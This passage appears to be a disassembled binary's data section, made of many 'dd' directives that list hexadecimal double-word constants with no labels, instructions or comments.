		dd 54262BCCh, 4A05C85Fh, 8F047141h, 31074ED7h, 40B672F5h
		dd 0ADDD47FDh, 1E782CE8h, 0C07A4495h, 9273854Eh, 0FA0BBE17h
		dd 0F8D807EDh, 5ED9B019h, 0BA55311h, 0BF00E001h, 445BB2EBh
		dd 14E7DEBDh, 0D84F08C3h, 50F2E90Eh, 0C04E6596h, 0AD76FBB8h
		dd 0BE050024h, 2546B57Eh, 230263CFh, 61852D07h,	13AC4122h
		dd 0AA5F0528h, 0B2182F61h, 0E97C18A7h, 0E4AEDB12h, 5000C18h
		dd 0BB5376DDh, 0F3FF59B5h, 64D0DE82h, 0CE131C6h, 504BBC3Ah
		dd 2580A6E8h, 0FA191EB9h, 0E5EF8A34h, 0C7D4A58Eh, 0EA8CE00h
		dd 63C14AD6h, 541E98E6h, 31A9235Bh, 0AC721405h,	0C7D315Bh
		dd 8A16626Bh, 4013EA53h, 5CDA88FAh, 0C8B70F07h,	3BD9D368h
		dd 6A46D19Fh, 0AD4C5433h, 2C323A01h, 8B3EBB17h,	7E91E90Bh
		dd 69EE3FDDh, 87CF2901h, 2F330F9h, 188B7782h, 0BB8DA17Dh
		dd 0C0CA311Ch, 280C16C9h, 0BF21411h, 4EC93C52h,	80BC812h
		dd 0E9C2F8FCh, 40E6D4BBh, 6107788Bh, 70F56819h,	146AC0FFh
		dd 8BB3FA4Bh, 0B236FC95h, 40EC57h, 0AF3844B8h, 6B4C3501h
		dd 487D1D0Fh, 6E21020Dh, 50C1D72Fh, 5A49FCFAh, 0C21656E6h
		dd 0F2F1BF90h, 1786F62Fh, 1593AD47h, 0F16F4E02h, 7AD13BE3h
		dd 37626A50h, 6035CD10h, 0B30DE02Eh, 6D84952Eh,	1369A658h
		dd 6CAB2AD9h, 0A75AE91Eh, 31BB9385h, 69C4B660h,	230B861Ah
		dd 585777A1h, 0D58BAD7Fh, 0EA402F09h, 2E519A35h, 21A2AABBh
		dd 19893062h, 0DF2C62EAh, 0FBD5C0E0h, 0D8EFFA2Dh, 2EE9B20h
		dd 0F4E9CB29h, 5C16897Dh, 914E752h, 0EB659874h,	783CA2BEh
		dd 664C0227h, 3F191212h, 0E61B0044h, 2C9420CBh,	0E706E913h
		dd 0C42B68AFh, 5FAABEE5h, 72079F9h, 38DEFB97h, 0AC314E4Eh
		dd 0C0024850h, 835AA05h, 1F295C44h, 0FD620741h,	64DEE909h
		dd 0F7019AA3h, 0C97CC19Dh, 0E766E220h, 0C3180261h, 28AC2B6Ah
		dd 0ACD00887h, 5FEA0513h, 17F01F8Bh, 0C434C469h, 0E619A1F8h
		dd 2C8AE077h, 0E641825Bh, 80278795h, 0F632D4C6h, 0E2DE77A2h
		dd 2604F804h, 131AE5FDh, 0E5DDD4EFh, 0EFE7A5F9h, 129D4CADh
		dd 85E5456h, 890E331Ch,	60E1E4C2h, 9B11151Fh, 449E050h
		dd 10C053Bh, 18F084D6h,	661E0C08h, 780E092Dh, 2BED4122h
		dd 0FF083253h, 685C0210h, 1B7D4CDFh, 79E8F965h,	0F82ED42Fh
		dd 0A86882B4h, 0EFF3FE12h, 315DEEADh, 0F4E7E0B6h, 0E2D242BAh
		dd 0A086F2AFh, 7FC6619Ch, 1A6D625h, 0D07DFC15h,	27007250h
		dd 57CEC2EBh, 0FF90F96Ch, 33257B07h, 23D1BB16h,	0D4603779h
		dd 0EC2495B9h, 1794E805h, 0C98ACD21h, 1CEDD113h, 0EE294062h
		dd 3E5C14Dh, 0D8F7951Ch, 0BCF582FEh, 48A70EB0h,	4E621634h
		dd 4134ED30h, 0E0A02A08h, 230D26CDh, 0B0C601C0h, 4118D56Bh
		dd 4315C3D2h, 0F6E84E9Ch, 502D63BDh, 91AAD84Fh,	4C470B25h
		dd 6FA68720h, 1098F9AFh, 0EE4387BFh, 0BC6E2C2Dh, 4978C539h
		dd 2FE91D98h, 357A817Eh, 3096D495h, 7B7AB30Ch, 4B4B449Dh
		dd 2D5482A5h, 0EA3FF857h, 0F26A1463h, 528F76Eh,	0ABE92F07h
		dd 0B7533582h, 800BA782h, 44F1054h, 65A51885h, 15D9F7F0h
		dd 4D624F68h, 0FCDAE90Ch, 0DF24B624h, 0A10B1130h, 88CEF10Dh
		dd 56B1D6B9h, 982F1068h, 0EB4811F6h, 38775B29h,	7C99E2D2h
		dd 2A58498Bh, 0C9DDD80Dh, 7FE6CCFBh, 0FEB7AD14h, 54E71A00h
		dd 0B2D0143h, 0CEA7C85Dh, 0EC77B86Fh, 0C841CF1h, 807D6540h
		dd 70DED77h, 126169Dh, 8D910DDh, 1FEB2450h, 9B04A527h
		dd 114F2CFDh, 0A8D687E2h, 29150443h, 0B0EF7EA4h, 0EA5C9839h
		dd 0ECF681C8h, 0C46AE349h, 6961FB48h, 8005367Bh, 16A3037Fh
		dd 0FA40E8B7h, 5B53021Dh, 101FE945h, 41263AF7h,	0BC046966h
		dd 0C0F413D2h, 0A4058BF3h, 0C01D2E73h, 7229F51Dh, 7A301975h
		dd 0A0B2263Dh, 92EA3980h, 0C49AE292h, 1DB8EE25h, 7C2CFB4Fh
		dd 9E91852h, 0C4C5D9FBh, 41BC0805h, 26BCE829h, 44D8B1h
		dd 0B0C58BEh, 0F731539Bh, 0A5D46488h, 0DA7ADB5Ch, 483220A7h
		dd 79BF664Dh, 3AE67835h, 0EEDE21FAh, 0AB33F26h,	5836900Bh
		dd 3513B682h, 0AE4F8F93h, 0D74128FDh, 7E34F23Fh, 2FD7695h
		dd 0F6E9F529h, 5F124E7Ch, 51E96DBBh, 7D3E5FC0h,	409D4D7Bh
		dd 7E13D1EEh, 3A0E6016h, 778405B7h, 0ABEA24AEh,	28E9CB90h
		dd 0AE3ED2BFh, 705CC5E0h, 0B51E846Fh, 65CE6699h, 0B0229258h
		dd 0E5F7EBFh, 48E532B1h, 0A7B05BF8h, 73CB3C50h,	0A02EC441h
		dd 0F180DE0h, 410C601Ah, 78CC2D39h, 280682A7h, 302D025h
		dd 76DACA81h, 0F2B16ACBh, 2B96FC16h, 6C240504h,	0EDA00410h
		dd 0FC79BF11h, 8067B381h, 0D9438AF3h, 681A0239h, 5EDC4869h
		dd 8BCF45DFh, 884610CEh, 23B79B04h, 64FA01A1h, 0FECCEA5Dh
		dd 68DD4051h, 62397F0Fh, 93C441Fh, 774D8CF4h, 4119257Ah
		dd 7D6CE940h, 3755E9E4h, 3C70086h, 0D858C240h, 0D0EC5B01h
		dd 15942384h, 0A2EE9241h, 28532DD5h, 0DC25F28Ah, 0B74C42A8h
		dd 5696ADC8h, 5E765C9Ah, 0D6EE4078h, 0FF03139h,	0BA41E9C6h
		dd 3025572Ah, 2C1882F5h, 0E9C1B85Fh, 0F91D5EB8h, 0FD2DC054h
		dd 17310668h, 853F801h,	3B3C3468h, 67FC95D8h, 9A81278Dh
		dd 9178496h, 11270112h,	0FBC2A3B7h, 0F7415DE0h,	21FBD14Ah
		dd 2FC181E2h, 0F85F26ACh, 69CD1014h, 4434312Eh,	0E64D0FADh
		dd 9F83D00Ch, 0AE776E8Bh, 7DEACBBEh, 42DDCA28h,	147DDC38h
		dd 0B9662F35h, 2F583199h, 0EC40D88Ah, 877204D6h, 0ABE1C141h
		dd 5AC43F02h, 0CBDEC1EEh, 274E27Ah, 6203A5F3h, 2BA54138h
		dd 0B3A267BEh, 59265ECh, 402DAD02h, 8A7FC81Eh, 8208CA1h
		dd 4EE00CC0h, 4BE92535h, 91370171h, 8B65B768h, 0E828D155h
		dd 81C8DF83h, 5B498229h, 7D54466Bh, 7D2C74D1h, 8FBC1F44h
		dd 672ABA4Bh, 17F1800Bh, 0E74BA255h, 5AEB4103h,	8973B87Eh
		dd 603B5E6Bh, 5914BF66h, 55EC57E8h, 47FF56BDh, 81BFA5Dh
		dd 0E624A451h, 0FF7A3D0Bh, 305DF218h, 4FF00180h, 7F72C82Dh
		dd 22A3994Eh, 7D236C10h, 0FEE3B012h, 2C92AD81h,	0C76A0405h
		dd 0C905B802h, 97156930h, 97F933BFh, 2DD5B8FFh,	0BE3C1DD0h
		dd 85D56D6Dh, 0B1BA05C6h, 2F9A21D1h, 0EC7F47E1h, 0ECA7A9B7h
		dd 7C77D362h, 0BA9989BBh, 4447D177h, 25A2BA55h,	0FA43E9C1h
		dd 6AE22FFEh, 0D80DC8F4h, 0C06802EDh, 4E44801Bh, 0F74E105Bh
		dd 6152D605h, 33B1FB3Ch, 66EE0805h, 580B942Ah, 75231728h
		dd 72C1BA06h, 852008B0h, 0E7883BEBh, 0F250A6A7h, 0CF4C74BFh
		dd 0E319DBA4h, 21C71716h, 4AB769CCh, 8FC4CC97h,	0E131F367h
		dd 0EBC0D5F9h, 460B6852h, 0E022EB1Ch, 16062633h, 20213D66h
		dd 9FEDE46Ch, 22DF559h,	852B872Dh, 50EE152h, 5F2C0746h
		dd 4044AEEEh, 0F912B39Ah, 0E284C2EEh, 0B5905DFEh, 755F0F68h
		dd 67B5CE31h, 59CB9668h, 2BEA8049h, 56730FFBh, 0CA2A2284h
		dd 7EC241A9h, 9A7EE8E5h, 480642A2h, 0AB815A58h,	105002BEh
		dd 0C69D1FE8h, 812AE1CAh, 0CDF7EF1Dh, 0FE014585h, 68803C24h
		dd 5CED2150h, 845AA52Dh
		dd 91B3EA2Dh, 27B16839h, 50633F75h, 2C59C8F3h, 7537D17Ah
		dd 5A7315D9h, 21B5ED30h, 57045D6Ch, 97EC80E9h, 66F5393Fh
		dd 12314FD3h, 87F8B01Eh, 56DFCF72h, 58594027h, 42C76430h
		dd 4BE71014h, 0D30277D1h, 585FBA02h, 7D48BFBBh,	4CE0ABEBh
		dd 8122469h, 0E90908E1h, 0FA524929h, 8080C2DCh,	4912AF2Dh
		dd 0B70903BCh, 0E9C0E868h, 1791B49Dh, 925FFD29h, 2D8E56BFh
		dd 8F23BB28h, 0E49E314Bh, 34BE6C01h, 0B60C1342h, 0C360105Fh
		dd 7822174Ch, 14E2F20h,	0B36CB652h, 20EB802Ch, 0C3EAF320h
		dd 67D126EBh, 0C6C47E26h, 0F6E485C1h, 8F0DE204h, 6879225Ch
		dd 92F4DE5Bh, 2545FBEDh, 0D9983910h, 82E16085h,	495301BDh
		dd 451F27h, 0AFC7F56Dh,	0E15E4BA1h, 0EA20424Fh,	19A0D70Bh
		dd 4FFE7714h, 832E5E7Eh, 40408DE3h, 0F626766Ah,	0C53D588Eh
		dd 81B5CDA6h, 96249BA7h, 0A06E6331h, 8B4FF31Dh,	0F72ADCABh
		dd 2A8B05Eh, 25EEE3D7h,	68FB53h, 63556042h, 0D630E950h
		dd 8DF17F79h, 6E563E74h, 4819B800h, 0B9E971B2h,	0D7FD264Eh
		dd 520DED84h, 0E9FE61AFh, 91C66B49h, 9E569F78h,	7EA80472h
		dd 0C22EC00Bh, 622047C9h, 4A1960C5h, 9230F59Dh,	0DABFE981h
		dd 4D07BF6Eh, 187F1985h, 54226833h, 4E3B8644h, 26EEA628h
		dd 0B9875D12h, 14FC0263h, 0C7775539h, 19010C6Ch, 0F7814A0Fh
		dd 522B707Bh, 15F98926h, 0FA0BDDCBh, 48EA6E69h,	527E9EEh
		dd 86397DFFh, 123A7D04h, 0DEF403E9h, 0CE7CC953h, 7049C454h
		dd 0C8312DC8h, 0DFC7B57Eh, 8C3F51ABh, 80362541h, 122EF43Ch
		dd 0CB4DA3D2h, 0C36F98CEh, 3DB8ED17h, 939C7F71h, 508C514h
		dd 3F4B685Fh, 5090CBBBh, 59BF3B44h, 85A29610h, 0A797BC3Ch
		dd 16BB2EE4h, 4DACA6ADh, 5CB7043Ah, 50FB6213h, 592508BEh
		dd 2D17254h, 0A96FEC6Bh, 0CE31EB2Fh, 0EA43DF3Dh, 0C301E15Eh
		dd 77BFB274h, 7C29F2B8h, 0B85F7EFBh, 0B06398AAh, 0C5B6BAAh
		dd 0CA814020h, 3C4E6B97h, 0A68A2587h, 0DC2FDFA5h, 116AC53Ch
		dd 0B9818065h, 47120A0Ch, 0C6EE213Fh, 55CE051h,	143C504Fh
		dd 671A69h, 2668E20Dh, 821D9E6Ch, 54B5450h, 4E438DE2h
		dd 4A83F8F2h, 0CC5AF9EBh, 4F02F8C8h, 42CEE97h, 5AC52780h
		dd 0E598CDC3h, 0B42C5003h, 0D40F3070h, 0F1E92230h, 4759680Ah
		dd 982DEE71h, 0BAD0A1E9h, 6072A66Ah, 560A809Ah,	4F4AB540h
		dd 46DD080Bh, 4EE971EEh, 0BE429012h, 203E7B8Ch,	0BE61927h
		dd 0D47FEE4Dh, 84CBBA7Bh, 273B6828h, 0A4C0B1E9h, 2C01F004h
		dd 68515B2Dh, 79262193h, 0C0E17816h, 5BDCAC6h, 0CE731928h
		dd 90A960EBh, 0FB2F2667h, 2C3C4777h, 7FF9A058h,	1AE59F4Bh
		dd 55A5839Fh, 0A1DDB5A2h, 0D780557Eh, 5352E641h, 910702BBh
		dd 0DE293583h, 9B06D082h, 0FC08EA79h, 44591FCCh, 0ABFEDDFAh
		dd 0F78C54A2h, 0FE4090C5h, 9E745901h, 0AF411381h, 98084051h
		dd 115A2738h, 0EE581D8Ah, 0F016167Dh, 8A44418h,	0EB74EB5Dh
		dd 3C081110h, 31E81D5Ah, 42EF5525h, 23D6E25h, 42596852h
		dd 25E04672h, 0FD75BF2h, 76212413h, 0BD001D95h,	75FC429Ah
		dd 81018694h, 0B37EFDCDh, 4D309E41h, 3EB0BB00h,	0B22B252Eh
		dd 5A5E733Eh, 5F9DDBA4h, 10C2B30Ch, 0F712016Ch,	9ABD01D5h
		dd 2E47CA19h, 1E4A40AAh, 0E9A15A9Ch, 68E2FD2Fh,	0BD958036h
		dd 0D6A56C7Bh, 0E7880BBEh, 10B8C73h, 33B65D72h,	1B078B87h
		dd 5539065Fh, 7801179Ch, 682E3F7Ah, 0E9006C1Dh,	0EABDD81Ah
		dd 10A1D545h, 6EDA0158h, 0C2B2C5A8h, 481A5155h,	0B0510B6h
		dd 352E1D1h, 0E76E95h, 6CA7CA3Eh, 18E9140Dh, 87096ABEh
		dd 939105CBh, 34D0B2AFh, 20C17678h, 0E3C1C6EBh,	0C3D6A071h
		dd 0A8F584CAh, 3D3D6AF4h, 0A3991FA0h, 3E5816C1h, 84FB8B12h
		dd 688043DAh, 0E9103A30h, 0A84A6660h, 9FAD4FF9h, 0FBB76813h
		dd 0B82F0DCDh, 1105D65h, 7549149Bh, 68007401h, 44B441BFh
		dd 27E923CCh, 94D56765h, 0FB2920EEh, 5EB57DB2h,	0F975D28Dh
		dd 5D6DE0ABh, 52BC7A05h, 1171C10Dh, 5F91E26Bh, 1B5EFECh
		dd 986CC8CDh, 0A17B2061h, 0D8F13E70h, 310266E5h, 7A685B59h
		dd 206B6C6Fh, 219AF80Eh, 0C884F205h, 5AFED93Dh,	6394463Eh
		dd 0FA280CD6h, 0D45A4116h, 52D6DBB7h, 57F8DCBAh, 0E414D698h
		dd 9A29362h, 30FEF77Ch,	913E4484h, 0E1CBCFEh, 96FD2556h
		dd 5166977Ch, 50A4E92Eh, 42737BA5h, 0E9576EE9h,	0E3E0C2C5h
		dd 0BE09EEF3h, 64BB001Dh, 0C70172E9h, 13E618B0h, 0F6E6F22Dh
		dd 0D4542D8Ch, 0D95453C3h, 16A5710Ah, 3A4666D6h, 0E1810EFBh
		dd 7FE53EF4h, 9DE10149h, 202B747Ch, 5305C95Ch, 0C3E91C11h
		dd 276843A0h, 1D7408C0h, 0C1660758h, 2B0EEBB3h,	9CA52013h
		dd 83171D69h, 0E221752Eh, 0A12D6053h, 0CE4B1FAh, 430C5E91h
		dd 9F6023F8h, 360AF533h, 4B6D7B38h, 0DDD3E424h,	0B8BADA60h
		dd 4B5978C0h, 4773AB74h, 0D88EFB50h, 28056847h,	59D26F0h
		dd 177B7A2Dh, 3F5EB1C3h, 0FF946A22h, 511403F1h,	0BAA8109Ah
		dd 0A4D2F616h, 0BDDCB14h, 83E998C3h, 0BE364A24h, 5DE9792Ch
		dd 0BD008E35h, 34C3A7C9h, 0BABEFD01h, 0A93E5651h, 0AAB80290h
		dd 5DA129EDh, 1648A760h, 0B151D3C0h, 0E106B0C0h, 76941A9Eh
		dd 4D091832h, 8E59CB30h, 13FA574Ch, 0E12DFAB4h,	3518F7D2h
		dd 0F609DBB1h, 0F03BE9D9h, 1A9860h, 6C77B88h, 204F48BAh
		dd 0DC31732Eh, 57A5202Ch, 2042D911h, 0B40B55C3h, 0C052B34Ah
		dd 7951112Ah, 7008B741h, 27D02807h, 1857CD4Dh, 555E68C3h
		dd 0C942496Eh, 0B5647D19h, 0EDC8F104h, 56ECEB41h, 59980120h
		dd 1306784Dh, 0CC0B5EB5h, 223FF8FAh, 0D664867Fh, 37AA89D8h
		dd 12BC84B0h, 46BBB105h, 0A4523D4Ah, 8B2AB03h, 0C1F04C30h
		dd 0B3176620h, 0E798288Dh, 496A4C2Ch, 957B2B27h, 0D98C9ABDh
		dd 0C76D829Ch, 0F97D0960h, 217C18C7h, 0C5E09E34h, 0ED80580Bh
		dd 1E9884B9h, 22B55102h, 267B9340h, 0F0CE29BFh,	44EDFD70h
		dd 0EEF1123Fh, 0F6847374h, 2D68EDE0h, 2A193F66h, 80AD50E3h
		dd 0CCF060EFh, 891EF29Eh, 3C3F3A31h, 8FB88E50h,	53800034h
		dd 0B02FD135h, 99908939h, 4A6255BAh, 0DD6109FEh, 46C19313h
		dd 98CF2C86h, 0D443BDBEh, 4D2F3365h, 6C522155h,	91426637h
		dd 3B977825h, 0B8F9CC28h, 0B6F59D4Bh, 0E11224E8h, 81414012h
		dd 60FF2C9h, 0E7832C44h, 0C93F8701h, 0D0585DDDh, 7F2608D4h
		dd 12185603h, 90768405h, 50C82965h, 30E9072Dh, 53A4DCC2h
		dd 0A790C1B3h, 7618FB9Ah, 5004D3F6h, 0C5B60552h, 944975E9h
		dd 0FFE16DDh, 4CB05F06h, 0B46046Fh, 2A006E8Bh, 4572F81Ch
		dd 76580EC2h, 1280DF18h, 4A243963h, 0D11D0BBFh,	96DF4369h
		dd 0CB2C521Ch, 83A4E81Fh, 86C1F028h, 0BEEE80ACh, 0BDEFA06Fh
		dd 5582C6E0h, 0A6C88DC4h, 3B77BD98h, 0BACFA256h, 3D42B98Bh
		dd 978BC55Eh, 0C0C01EB7h, 0FE8603EEh, 66DFF601h, 50F98851h
		dd 876AF0CDh, 0EECE84F4h, 8CC69909h, 98D06E32h,	0C2D19CD5h
		dd 0ECF84B68h, 8CC6E917h, 9830A6CAh, 51BB5337h,	44913A00h
		dd 4E16CB81h, 0AC465F11h, 59760A29h, 0EB00A997h, 194CFA09h
		dd 44D25AE9h, 0AF107B46h, 74D63C99h, 4FD52750h,	0FBDE2D59h
		dd 714877CBh, 0C2076857h, 5F7BAF3Eh, 0CCFBD464h, 600BBBAFh
		dd 33EB948h, 76DE127Bh,	21AD2FC5h, 0D3B652A2h, 55EBD101h
		dd 0B619AFF8h, 3A8685F4h, 0A401EEC9h, 0DB96BC6h, 6F10EB2Fh
		dd 0AD984E08h, 9CF430E9h
		dd 431FBA40h, 40479625h, 0D53D560h, 0BE37E9BDh,	35F5D861h
		dd 5651DC17h, 0F1D925BBh, 9FA06B3Bh, 400514CEh,	0C200BC0Eh
		dd 0BD688D0Dh, 0DE260831h, 0CBBBBDD5h, 0ED0898BAh, 48161209h
		dd 0BD7C8401h, 0BC17DEE9h, 18F622Bh, 0E91785ECh, 7AF40E9Bh
		dd 0F5C841BBh, 29E1F522h, 0DDF44B57h, 0B6442F4Eh, 61051FD8h
		dd 55035DEDh, 56BE3795h, 5E17EC88h, 0B7BFE2C5h,	92AC5F49h
		dd 70815989h, 2A8F6A34h, 23592E0h, 24C218Eh, 65CB468h
		dd 0F93EE961h, 0E063893Bh, 30921E27h, 3A3D990Ch, 1CAA254h
		dd 563112D0h, 6042D2F7h, 329DE4DBh, 59FF020Dh, 0F901025Ch
		dd 0C4700FE2h, 0B194FF9Dh, 88345F50h, 622C78F6h, 4A13015Ah
		dd 0E13DFF09h, 0DA255D02h, 0E270BC7Fh, 20F7E420h, 0C113D643h
		dd 0AE0006EFh, 0F2770DDCh, 5FF81F31h, 3E5D6521h, 637320DCh
		dd 0C65521A1h, 18805E04h, 4F324B6Ch, 6960FE16h,	93464568h
		dd 47F80E93h, 2088A8DEh, 0B84B41C2h, 13E82ABh, 8EE6448Fh
		dd 0D797B4E0h, 0A1A0E31Eh, 0FF4A57F2h, 640AE130h, 940B4EB7h
		dd 5F080976h, 829CC0Bh,	133DC55Dh, 4F8BFD86h, 306EB839h
		dd 77C868F2h, 296FB1B5h, 75BD9580h, 455E9B64h, 43D280C1h
		dd 564122Fh, 5D3B2F53h,	0E9620DD6h, 55FEEAC8h, 0F8CA2FEBh
		dd 6ABE6FE9h, 570A5881h, 0CD52EC2Fh, 6C3099B5h,	0A62A0B68h
		dd 5CA20179h, 1CD5415Fh, 5FBFFC35h, 2311F40Bh, 9846F445h
		dd 18357868h, 6E116E8Ah, 0DC621CAAh, 93E992Ah, 0CD4740D5h
		dd 91F14BEh, 0C104B97Fh, 8342C746h, 0CCDD014Eh,	6DED302h
		dd 0FED503C4h, 725D22FBh, 0CC25C67Ch, 13123018h, 576CF2D5h
		dd 7EC4F575h, 79F4C659h, 17ABC9Fh, 2720E6BFh, 4C702A6Ch
		dd 0B14536E9h, 8402102Ch, 0F9BE14B4h, 0CE077E0Ch, 209C136Fh
		dd 91E7216Fh, 23E0E6Eh,	0DF015A80h, 0CDB9135Fh,	5D7C85F3h
		dd 0E95E53A3h, 0A931797Bh, 5E5F12A8h, 0CCFC50A5h, 0C025BCA4h
		dd 13DA205Ch, 7F2805Bh,	92322C7h, 0AD0CF7Fh, 808A15E9h
		dd 8018B551h, 4FB812E5h, 0DAEC0A4Ah, 7D4C3B10h,	5EC9E230h
		dd 0E49804F8h, 0D0281D8Dh, 30CC282Ch, 2DCB7ABFh, 6254031h
		dd 0E5B9E109h, 0BE87006Ah, 4F29174Ch, 0C54B9BB8h, 3F68D9EBh
		dd 0F97E0BB7h, 8B4AE22Bh, 256EF63Ah, 7D66557h, 0B346568h
		dd 659B6675h, 0D7F670D3h, 0C2416015h, 0D1F7061Fh, 0A1416BCAh
		dd 6A941437h, 264CA23Bh, 0B402E503h, 0D7716E56h, 0D3E91B81h
		dd 0C6A35215h, 5970695Dh, 0C43CF3Eh, 0C72C4EE9h, 567F13EAh
		dd 3B1FB872h, 985D0927h, 0FD06A989h, 85C93E45h,	90045729h
		dd 0EA408CADh, 98442E5h, 8100DA95h, 0B4205108h,	831618D5h
		dd 2E14D020h, 5117300h,	252D17CCh, 58C52D21h, 7DE91181h
		dd 78B023EEh, 0F800134Eh, 0E76A77B9h, 0B75BB002h, 69F78EA0h
		dd 55343A0Ah, 0E2001CC1h, 2AFB0F23h, 28594E57h,	14FAE946h
		dd 9E09B497h, 53B80860h, 835BC591h, 0AC9C028h, 908A2CCDh
		dd 524760C9h, 983CC6BAh, 0CAB9349Ch, 0CF05EB0Bh, 44C2CF01h
		dd 4844A468h, 0BA4747AEh, 5F393242h, 0F649A55Dh, 0BDEB6CD4h
		dd 0A268A05Ch, 0AE2EE16Dh, 1BC75E74h, 0D25B1E28h, 0BEC8EE7Bh
		dd 12EDF251h, 162D5F50h, 722AEA61h, 2412A85Eh, 219E6196h
		dd 545A923Bh, 57CB49Dh,	0A8D8BAD3h, 0EFE4BF5Bh,	2030534Ch
		dd 86050064h, 29367372h, 7A32DD8h, 0D2593013h, 0E4E2AA4Eh
		dd 0CAE41CF3h, 12B7B9C2h, 0D2B1AB4Ah, 201FF285h, 1ABD8538h
		dd 9EFF2E2Fh, 0E90CC482h, 7A63A114h, 0E05D9B21h, 0D151D7E6h
		dd 5FC56847h, 0AAED8998h, 2AF67782h, 4F16662Ch,	60F2E88Ch
		dd 34B3F320h, 2A5BCB80h, 26EBCAE0h, 2598880Dh, 0B4D399DFh
		dd 0E9DA83DAh, 0FCAE8430h, 38E4F6E3h, 0EE5B0A07h, 7ECE6B21h
		dd 82A503C2h, 49BB7A03h, 0D137C828h, 323A424Ch,	0D756CF1Fh
		dd 0EAF0817h, 8389809Ah, 5086C480h, 0E5E04CB4h,	2D053CF9h
		dd 8BCBC2CCh, 80954523h, 728D6856h, 56B4196Ah, 71EC0E3Eh
		dd 15FF934Fh, 0B396046h, 0E9690783h, 0C13927B0h, 0D8311DADh
		dd 4BEC6847h, 0C96F799h, 7EF91C62h, 0EC1C556Bh,	0AA2A68FEh
		dd 7CF98215h, 0EA312FB0h, 89FDCDBEh, 0D56E8D09h, 7F355825h
		dd 9A116BE2h, 0DF87CA9h, 68BEA80h, 0A0BE85EBh, 2C502621h
		dd 916B57DEh, 0A06CE426h, 9D1401EAh, 9DB5CC98h,	6849599Dh
		dd 0F6DF22D5h, 8EF795EBh, 87C36BC0h, 17789416h,	2E4FAF59h
		dd 99FF12D4h, 616E432Ch, 2EC64501h, 1327145h, 0B36C2DAh
		dd 8755608h, 0EF9D77A1h, 0FCE0D2D2h, 28BA2C2Ch,	33763AB6h
		dd 0DFE25B2Eh, 0E9C70609h, 82B12973h, 0F51D24A7h, 0C020625Bh
		dd 0C77FF541h, 6DE78213h, 0D72488DAh, 0F8C2462Ah, 0CAD25729h
		dd 0FDA9C54Fh, 0A94FD248h, 0E1E91709h, 857AF5E1h, 0E4D70C33h
		dd 190BBA36h, 837D1060h, 2C445505h, 900F2FBh, 0E35D3BA0h
		dd 565D983Ch, 14295ABFh, 0ED1EC4EEh, 3D002F61h,	162F6338h
		dd 27201DBAh, 978B01Bh,	0F50F07DFh, 0CB7A60D7h,	6C5B0276h
		dd 0F9E94B52h, 0F69F85D8h, 74FCCB2Ch, 64085C7Ah, 0E7A9BA5Ah
		dd 0F8A948A2h, 980046F7h, 187227C0h, 2EC9709Bh,	89D86AFEh
		dd 9099946h, 56EED70Fh,	10E6884Ch, 5C2739FAh, 0A6EDC57Dh
		dd 7CD518DBh, 261F2D06h, 0E989ED72h, 0EAA77834h, 5CCF6284h
		dd 7C5D2C8Bh, 0F9E9F1C8h, 77B7234h, 64B26C16h, 87903DB5h
		dd 50806DB5h, 5C86F8CDh, 9088FE32h, 0D0306B07h,	0B0540D3h
		dd 0E1F766B5h, 204D94F5h, 595C99C7h, 7AC10650h,	0E00C1CCEh
		dd 0BD7E7A94h, 0DE0002C3h, 21E23A06h, 272B6A35h, 1D581046h
		dd 5BC0E4BDh, 0D2D6B201h, 5B5AA6AFh, 815EE9E9h,	4950A7Dh
		dd 0FD3EFF2Dh, 0CEE716ADh, 0F5D97249h, 0A016107Bh, 0A6FBB784h
		dd 0CA0185F6h, 0A403E2EFh, 91FE082h, 49B9E9DFh,	5E220B7Ah
		dd 0B2353752h, 73FD8ED1h, 5CE954A0h, 5D090ABCh,	0E68FD58h
		dd 3E30A9B9h, 0BDE1364Dh, 1FA301Bh, 0C0650984h,	0B9A8564Fh
		dd 0F8F10FDFh, 0EA408B45h, 49B84C85h, 237B1h, 2F7ED025h
		dd 0A05D0AE0h, 0A4E170FCh, 0FCE2B708h, 7CCF3180h, 749D1753h
		dd 20C35265h, 2AB0DD45h, 0DFD8EFC5h, 141E32E9h,	0CCA91B0Bh
		dd 5B413882h, 0FC6EF00Bh, 100767C8h, 6CD8E245h,	0D8F8ABABh
		dd 8E88F595h, 88E90442h, 0F10392D9h, 0A770635Fh, 9AA06AB5h
		dd 1B95062Dh, 7659748Eh, 67A69854h, 31E33D12h, 0E07A5CAEh
		dd 63890B82h, 0F920C357h, 0F22F525Eh, 0A4FEE4E9h, 64EDE202h
		dd 719DC88Eh, 0D46D6348h, 0A88F2050h, 0F004154Fh, 6804E365h
		dd 1BCCFB2Bh, 87103B7h,	0EEC05BFEh, 60C853EBh, 1538C680h
		dd 2C03B0E9h, 4867840Fh, 0D880FE09h, 0F743AF07h, 3096D378h
		dd 5FE9893Bh, 2AA37A8Bh, 0BFBEC908h, 95698C0h, 666AC082h
		dd 0B808D259h, 0C4680BD8h, 0B6BF9817h, 0EED00B06h, 47E0D9E9h
		dd 97B0E188h, 1C80DF40h, 0D3C06AEDh, 3875A806h,	31E944A9h
		dd 47EBF4B4h, 802A0D14h, 1AE64E7Ch, 62A8E93Dh, 5E787027h
		dd 3FC66F09h, 40BD121Dh, 82BD63D6h, 4D0789D6h, 0C96053D2h
		dd 24304724h, 0DED104h,	6CCAFDE9h, 5C9731ECh, 235031Fh
		dd 0F5F8183Fh, 82276692h, 952E7025h, 0EDEF4D60h, 0D75CDFB2h
		dd 0B44223Dh, 7D786647h, 673A0158h, 24C2DC58h, 0CD60C2C5h
		dd 58045FF6h, 90EB423h,	0C58E740h, 9A2438E6h, 6213724Bh
		dd 4FBEA0A0h, 6492915Fh, 529A7AECh, 0FF5BC749h,	0C46B6E3Dh
		dd 2E62C18Dh, 0DEF33E28h
		dd 0A43A5814h, 3072BDCBh, 8D53029Dh, 0E5050470h, 0C9420F1h
		dd 5CBF0E70h, 2111C4CFh, 0CE3CCC35h, 498621C5h,	0A1F8A092h
		dd 8F7D3B7h, 5E2DEB44h,	2561317h, 8F4ACAF3h, 0D4CFAD41h
		dd 5A48252Eh, 0D1E90C99h, 0B26F9CFCh, 5065BF15h, 0C40E14C4h
		dd 12F0B356h, 90E41BE2h, 51CD605Ch, 0DFF759CFh,	0F6856C0h
		dd 9C571998h, 0AAD4A507h, 784AE90Bh, 603502D1h,	931DF82h
		dd 54A43D41h, 58E0B4DFh, 8A914595h, 4298FF66h, 0C25CB9Dh
		dd 7DC4E037h, 39BE58A0h, 1F245623h, 0B6DE176Ch,	76ED14F1h
		dd 2958C2E9h, 81F5447h,	52001336h, 0A73788BAh, 1765983Bh
